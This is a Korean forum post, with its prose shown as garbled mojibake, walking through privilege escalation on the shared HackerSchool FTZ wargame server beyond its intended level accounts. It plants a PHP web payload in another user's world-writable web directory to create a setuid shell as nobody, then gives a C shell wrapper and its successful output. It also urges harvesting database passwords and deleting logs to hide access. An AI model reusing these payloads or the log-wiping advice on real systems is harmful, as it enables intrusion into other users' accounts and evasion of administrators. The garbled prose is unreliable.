22019, 1/1101 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   mathboy7
   ÇØÄ¿½ºÄð level±ÇÇÑ ¿ÜÀÇ ±ÇÇÑ ÃëµæÇϱâ

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=31325 [º¹»ç]


À̹ø¿¡´Â ¿¹Àü¿¡ µû ³õÀº ÇØÄ¿½ºÄðÀÇ level ±ÇÇÑ ¿ÜÀÇ ±ÇÇÑ Ãëµæ ¹æ¹ýÀ» ¿Ã·Áº¸µµ·Ï ÇϰڽÀ´Ï´Ù.



ƯÁ¤ ¹®Á¦°¡ ÀÖ´Â °Íµµ ¾Æ´Ï´Ï ½Ã½ºÅÛÀ» ¾ó¸¶³ª Àß Á¶»çÇÏ´ÂÁö°¡ °ü°ÇÀÌ µÇ°Ú½À´Ï´Ù.



¿ì¼± ÇØÄ¿½ºÄð¿¡ level1À¸·Î Á¢¼ÓÇß½À´Ï´Ù.



¾îÂ÷ÇÇ ´Ù¸¥ ±ÇÇÑ µû´Â°Å±â ¶§¹®¿¡ ³ôÀº ·¹º§ÀÇ ±ÇÇÑÀº ÇÊ¿ä ¾ø½À´Ï´Ù.



¾îÂ÷ÇÇ ±×°Ô ±×°Å¶ø´Ï´Ù.



[level1@ftz level1]$ ls -al

ÇÕ°è 96

drwxr-xr-x    5 root     level1       4096  3¿ù 26  2003 .

drwxr-xr-x   44 root     root         4096 12¿ù  9  2003 ..

-rw-r--r--    1 root     root          209  3¿ù 19  1999 .BitchX

-rw-------    1 root     root          106  3¿ù  6  2000 .Xauthority

-rw-r--r--    1 root     root          245  2¿ù 24  2002 .Xdefaults

-rw-------    1 root     root           61  4¿ù 19  2002 .bash_history

-rw-r--r--    1 root     root           24  2¿ù 24  2002 .bash_logout

-rw-rw-r--    1 root     root          224  2¿ù 24  2002 .bash_profile

-rw-r--r-x    1 root     root          151  2¿ù 24  2002 .bashrc

-rw-r--r--    1 root     root          400  2¿ù 24  2002 .cshrc

-rw-r--r--    1 root     root         4742  2¿ù 24  2002 .emacs

-rw-r--r--    1 root     root          162  2¿ù 24  2002 .epems

-r--r--r--    1 root     root          319  2¿ù 24  2002 .gtkrc

-rw-r--r--    1 root     root          100  2¿ù 24  2002 .gvimrc

drwxrwxr-x    3 root     root         4096  3¿ù 21  2000 .mc

-rw-r--r--    1 root     root          226  2¿ù 24  2002 .muttrc

-rw-r--r--    1 root     root          367  2¿ù 24  2002 .profile

-rw-r--r--    1 root     root            1  5¿ù  7  2002 .viminfo

-rw-r--r--    1 root     root         4145  2¿ù 24  2002 .vimrc

-rw-r--r--    1 root     root           47  4¿ù  4  2000 hint

drwxr-xr-x    2 root     level1       4096 12¿ù  7  2003 public_html

drwxrwxr-x    2 root     level1       4096  8¿ù 13 16:41 tmp

[level1@ftz level1]$



¿ì¼± Ȩµð·ºÅ͸®ºÎÅÍ È®ÀÎÇØ º¸µµ·Ï ÇϰڽÀ´Ï´Ù.



.mc¶ó´Â ¼ö»óÇÑ ´«¿¡ ¶ë´Ï´Ù.



·¹º§ 1 ¹®Á¦Ç®À̶§´Â ¿ö³« Èĵü Áö³ª°¡¼­ ¸øºÃ´ø°Í °°½À´Ï´Ù.



[level1@ftz .mc]$ ls -al

ÇÕ°è 24

drwxrwxr-x    3 root     root         4096  3¿ù 21  2000 .

drwxr-xr-x    5 root     level1       4096  3¿ù 26  2003 ..

-rwxrwxrwx    1 root     level1         25  7¿ù 24 16:13 Tree

-rw-------    1 root     level1       2646  4¿ù 19  2002 history

-rwxrwxrwx    1 root     level1         74  7¿ù 24 16:13 ini

drwx------    2 root     level1       4096  4¿ù 14  2002 tmp

[level1@ftz .mc]$ cat Tree



ÀÛ¼ºÇÑ »ç¶÷ÀÌ root·Î µÇ¾îÀÖ½À´Ï´Ù.



µüÈ÷ ¼öÈ®ÀÌ ¾øÀ¸´Ï.. find ¸í·É¾î·Î setuid°¡ °É·ÁÁø ÆÄÀÏÀ» ã¾Æ¼­ ¾îµð±îÁö °¡Á®¿Ã ¼ö ÀÖ³ª È®ÀÎÇØ º¸°Ú½À´Ï´Ù.



[level1@ftz level1]$ find / -perm -4000 -print 2>/dev/null

/usr/bin/bof

/usr/bin/editor

/usr/bin/level5

/bin/ExcuteMe

/bin/autodig

/bin/level7

/home/level11/attackme

/home/level12/attackme

/home/level13/attackme

/home/level14/attackme

/home/level15/attackme

/home/level16/attackme

/home/level17/attackme

/home/level18/attackme

/home/level19/attackme

/home/level20/attackme

[level1@ftz level1]$



¿ì¿ïÇϳ׿ä..



ÇÏ´Ù¸øÇØ pingµµ ¾ø³×¿ä.. (pingÀº suid°¡ ¾øÀ¸¸é ÀÏ¹Ý À¯Àú´Â »ç¿ëÀ» ¸øÇÑ´Ù´Â Àǹ̶ø´Ï´Ù. pingÀ̶õ ÇÁ·Î±×·¥ÀÌ »ý±ä ¸ð¾ç¶§¹®¿¡..)



[level1@ftz level1]$ ps -axu  grep -v level  grep -v trainer  awk '{print $1}'  uniq

USER

root

bin

root

daemon

root

mysql

root

nobody

hs4_chat

root

nobody

guest

root

[level1@ftz level1]$



½½Â½ °®°í ³Ñ¾î°¥ ¼ö ÀÖ´Â ÇÁ·Î¼¼½ºµµ ¾ø´Âµí Çϰí..



¿ì¼± nobodyºÎÅÍ °ø·«ÇØ¾ß ÇÒ °Í °°½À´Ï´Ù.



[level1@ftz home]$ ls -la  grep -v level  grep -v trainer

ÇÕ°è 176

drwxr-xr-x   44 root     root         4096 12¿ù  9  2003 .

drwxr-xr-x   20 root     root         4096  8¿ù 13 03:01 ..

drwx-----x   25 3149     beist        4096  6¿ù 30 04:45 beist

drwxr-xr-x    2 chat     chat         4096  2¿ù 24  2003 chat

drwx--x--x   18 clear    clear        4096  8¿ù 12 20:17 clear

drwx-----x   12 dotri    dotri        4096 10¿ù  9  2003 dotri

drwxrwxrwx    2 guest    guest        4096  8¿ù 13 16:46 guest

drwx-----x    3 hs4_chat hs4_chat     4096  3¿ù 25  2004 hs4_chat

drwx------    3 mud      mud          4096  3¿ù 26  2003 mud

drwx------    2 mysql    mysql        4096  3¿ù 31  2003 mysql

drwxr-x--x   10 root     realhack     4096  4¿ù 23  2002 realhack

drwx--x--x    3 sexyguta sexyguta     4096  7¿ù 25 17:40 sexyguta

dr-x-----x    5 root     root         4096  4¿ù 14  2002 socket

drwx-----x    3 test     test         4096  3¿ù 31  2003 test



»ç¿ëÀÚ°¡ ¸î¸í ÀÖ½À´Ï´Ù.



±ÇÇÑ¿¡ ¼¼¹øÂ° ºÎºÐÀÌ x°¡ µÇ¾îÀÖ´Ù´Â °ÍÀº À¥ ¼­ºñ½º¸¦ ÇÑ´Ù´Â ¶æÀÏÅ×´Ï..



µð·ºÅ丮¸¶´Ù  ÇϳªÇϳª¾¿ Ã¼Å©ÇØº¸¸é µË´Ï´Ù.



[level1@ftz home]$ cd beist/

[level1@ftz beist]$ ls

ls: .: Çã°¡ °ÅºÎµÊ



read±ÇÇÑÀÌ ¾ø±â ¶§¹®¿¡ ´ç¿¬È÷ Çã°¡°¡ °ÅºÎµË´Ï´Ù.



°³ÀÎ ÆäÀÌÁö µð·ºÅ丮´Â º¸Åë public_htmlÀ» ¸¹ÀÌ ¾¹´Ï´Ù.



¸ñ·ÏÀº º¼ ¼ö ¾ø¾îµµ ÀÖÀ»²¨¶ó´Â °­ÇÑ ÀǽÉÀÌ °¡±â ¶§¹®¿¡..



[level1@ftz beist]$ cd public_html

[level1@ftz public_html]$



Ȥ½Ã³ª°¡ ¿ª½Ã³ªÀÔ´Ï´Ù.



¿¹»óÇß´ø ´ë·Î public_html ÆÄÀÏÀÌ Á¸ÀçÇϴ±º¿ä.



[level1@ftz public_html]$ ls

CMSIMPLE  MAMBO  MOODLE  albums  copy  gallery  index.html  moodledata  result.txt  result2.txt  tt.php



ÀÌÁ¦ °¢ ±ÇÇÑÀ» Ã¼Å©ÇØº¾½Ã´Ù.



[level1@ftz public_html]$ ls -al

ÇÕ°è 100

drwxr-xr-x    9 root     root         4096  4¿ù 27 18:33 .

drwx-----x   25 3149     beist        4096  6¿ù 30 04:45 ..

drwxr-xr-x    8 root     root         4096  3¿ù 30 18:16 CMSIMPLE

drwxrwxrwx   14 502      504          4096  8¿ù  7 20:03 MAMBO

drwxr-xrwx   22 502      504          4096  5¿ù  3 00:47 MOODLE

drwxrwxrwx   12 502      504          4096  5¿ù  3 01:22 albums

drwxr-xr-x    2 root     root         4096  4¿ù 27 18:04 copy

drwxr-xr-x   22 502      504          4096  5¿ù 31 16:39 gallery

-rw-r--r--    1 root     root            5  4¿ù 27 15:31 index.html

drwxrwxrwx    6 502      504          4096  5¿ù  3 00:36 moodledata

-rw-r--r--    1 root     root        13791  4¿ù 27 01:11 result.txt

-rw-r--r--    1 root     root        39428  4¿ù 27 18:34 result2.txt

-rw-r--r--    1 root     root           28  4¿ù 27 17:58 tt.php

[level1@ftz public_html]$



Àâ¾Ò³×¿ä.



ÀÌÁ¦ nobody´Â ¶¤½À´Ï´Ù.



¹®Á¦°¡ µÇ´Â ºÎºÐÀº



drwxrwxrwx   14 502      504          4096  8¿ù  7 20:03 MAMBO



ÀÔ´Ï´Ù. ¸ðµç »ç¿ëÀÚ¿¡°Ô Àб⠾²±â ±ÇÇÑÀÌ ÀÖ´Â °ÍÀ» ¾Ë ¼ö°¡ ÀÖ½À´Ï´Ù.



ÀÌÁ¦ phpÄڵ常 ½É¾î³õÀ¸¸é µË´Ï´Ù.



[level1@ftz MAMBO]$ which tcsh

/bin/tcsh



½©ÀÇ À§Ä¡¸¦ ÆÄ¾ÇÇÑ ÈÄ php¿¡¼­ »ç¿ëÇÒ ¸í·É¾îµéÀÇ pathµµ ÆÄ¾ÇÇØµÓ´Ï´Ù.



[level1@ftz MAMBO]$ which cp

/bin/cp

[level1@ftz MAMBO]$ which chmod

/bin/chmod

[level1@ftz MAMBO]$ pwd

/home/beist/public_html/MAMBO



ÇöÀç µð·ºÅ丮µµ ÆÄ¾ÇÇØµÎ°í a.php¶ó´Â À̸§À¸·Î ´ÙÀ½°ú °°ÀÌ ¸¸µé¾ú½À´Ï´Ù.



<?

system("/bin/cp /bin/tcsh /home/beist/public_html/MAMBO/.");

system("/bin/chmod 4755 /home/beist/public_html/MAMBO/tcsh");

?>

Á¦ ÆÄÀÏ¿¡ Á¢±ÙÇÏ·Á¸é http://ftz.hackerschool.org/~beist/MAMBO/a.php ·Î µé¾î°¡½Ã¸é µË´Ï´Ù.



ÀͽºÇ÷η¯·Î Àú âÀ» ¿­¾îº¸¸é ¾Æ¹«°Íµµ ¾È³ª¿É´Ï´Ù.



ÀÌÁ¦ µð·ºÅ丮¸¦ º¸¸é,



[level1@ftz MAMBO]$ ls -rlt

ÇÕ°è 1704

..

-rw-rw-r--    1 level1   level1        129  8¿ù 13 18:48 a.php

-rwsr-xr-x    1 nobody   nobody     316276  8¿ù 13 18:49 tcsh



suid¸¦ °¡Áø ½©ÀÌ ¼º°øÀûÀ¸·Î ¸¸µé¾î Áø °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.



[level1@ftz MAMBO]$ ./tcsh

tcsh: Çã°¡ °ÅºÎµÊ.

[level1@ftz MAMBO]$



ÇãÇã.. ´Ù½Ã ÇØ¾ß°Ú±º¿ä.



¾Æ¿¹ ÄÚµå·Î ÀÛ¼ºÇØ¾ß ÇÒµí ÇÕ´Ï´Ù.



a.c¶ó´Â À̸§À¸·Î ÀÛ¼ºÇß½À´Ï´Ù.



#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

int main()

{

        setreuid(99, 99);

        system("/bin/sh");

        return 0;

}

[level1@ftz MAMBO]$ cc -o a a.c



±× ´ÙÀ½¿¡ a.phpÀÇ ³»¿ëÀ» ´ÙÀ½°ú °°ÀÌ ¹Ù²ãÁÝ´Ï´Ù.



<?

system("/bin/cp /home/beist/public_html/MAMBO/a /home/beist/public_html/MAMBO/b");

system("/bin/chmod 4755 /home/beist/public_html/MAMBO/b");

?>



´Ù½Ã Àú URLÀ» ¿­¸é ¾Æ¹« ¹ÝÀÀ ¾ø½À´Ï´Ù.



ÀÌÁ¦ ´Ù½Ã µð·ºÅ丮¸¦ º¸¸é,



[level1@ftz MAMBO]$ ls -rlt

ÇÕ°è 1728

...

-rwsr-xr-x    1 nobody   nobody     316276  8¿ù 13 18:49 tcsh

-rwxrwxr-x    1 level1   level1      11646  8¿ù 13 18:56 a

-rw-rw-r--    1 level1   level1        148  8¿ù 13 18:56 a.php

-rwsr-xr-x    1 nobody   nobody      11646  8¿ù 13 18:58 b



b¶ó´Â ÆÄÀÏÀÌ »ý±ä °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.



½ÇÇà½ÃÄÑ º¸µµ·Ï ÇϰڽÀ´Ï´Ù.



[level1@ftz MAMBO]$ ./b

sh-2.05b$ id

uid=99(nobody) gid=3001(level1) groups=3001(level1)



¼º°øÀûÀ¸·Î nobody ±ÇÇÑÀ» ÃëµæÇÑ °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.



ÀϹÝÀûÀÌ ¼­¹öÀÎ °æ¿ì Àú·¸°Ô ÀϹݰèÁ¤À¸·Î µé¾î°¥ ¼ö ÀÖ´Ù¸é ´Ù¸¥ °èÁ¤ ±ÇÇÑÀ» µû´Â°Ç ±×¸® ¾î·ÆÁö ¾Ê½À´Ï´Ù.



ÇØÅ·À» ÇÒ¶§ÀÇ ¹®Á¦´Â ¾î¶»°Ô ÀϹݰèÁ¤À» µþ ¼ö ÀÖ´À³ÄÀ̰í, º¸¾ÈÀ» ÇÒ¶§ÀÇ ¹®Á¦´Â ¾î¶»°Ô ±×·¯ÇÑ ½Ãµµ¸¦ Á¶±â¿¡ Â÷´Ü ¶Ç´Â ¹ß°ßÇÒ ¼öÀÖ´À³Ä.. ÀÔ´Ï´Ù.



ÀÌÁ¦ ÇÒ ÀÏÀº °¢ »ç¿ëÀÚ °èÁ¤À» µ¹¾Æ´Ù´Ï¸é¼­ Á¤º¸¸¦ ¼öÁýÇÏ´Â °ÍÀÔ´Ï´Ù.



±×·±µ¥.. nobody¸¦ µû°í³ª´Ï ±ÍÂú¾ÆÁö³×¿ä. <ÆÛ¤ÃÆÛÆÛÆÜ



Á¤º¸¸¦ ¼öÁýÇÒ ¶§ ÁßÁ¡ÀûÀ¸·Î ÇÒ °ÍÀº..



ȨÆäÀÌÁö¸¦ ¸¸µç »ç¿ëÀÚ°¡ ÀÖÀ» ¶§ db¿Í ¿¬°áµÇ´Â ºÎºÐ¿¡¼­ ÆÐ½º¿öµå¸¦ »Ì¾Æ³»´Â °ÍÀÌ Áß¿äÇÕ´Ï´Ù.



±×·¸°Ô ÇØ¼­ »Ì¾Æ³½ ÆÐ½º¿öµåÀÏ °æ¿ì °èÁ¤ ÆÐ½º¿öµå¿Í µ¿ÀÏÇÒ ¼ö Àֱ⠶§¹®ÀÔ´Ï´Ù.



´Ü °èÁ¤ ÆÐ½º¿öµå¸¦ ¾Ë¾Æ³»¸é ±× ´ÙÀ½ºÎÅÍ´Â ¸Ó¸®¾ÆÆÄÁý´Ï´Ù.



ÀڱⰡ Á¢¼ÓÇÑ ·Î±×¸¦ °ü¸®ÇØ¾ß Çϱ⠶§¹®ÀÔ´Ï´Ù.



·Î±×ÀÇ »èÁ¦¿Í ÀڱⰡ ¿òÁ÷ÀÎ Á¤º¸¸¦ »èÁ¦ÇØ¾ß ÇÕ´Ï´Ù.



¹°·Ð ¼ö½Ã·Î w ¸í·É µîÀ¸·Î ´Ù¸¥ »ç¶÷ÀÌ Æ¯È÷³ª °ü¸®ÀÚ°¡ Á¢¼ÓÇØÀÖ³ª Ã¼Å©ÇØ¾ß ÇÕ´Ï´Ù.



¾Æ¹«Æ°.. ¿À´ÃÀº ÇØÄ¿½ºÄðÀÇ ·¹º§ °èÁ¤ÀÌ ¾Æ´Ñ ´Ù¸¥ °èÁ¤ÀÇ ±ÇÇÑÀ» ÃëµæÇØ º¸¾Ò½À´Ï´Ù.

  Hit : 8458     Date : 2013/11/09 01:11



    
hjt7942 ´ú´ú 2013/11/10  
blueh4g ÈÄ´ú´úaa 2013/11/20  
jeongseok0 ºÁµµ ÀÌÇØ°¡ ¾ÈµÇ´Â 1ÀÎ... 2014/04/28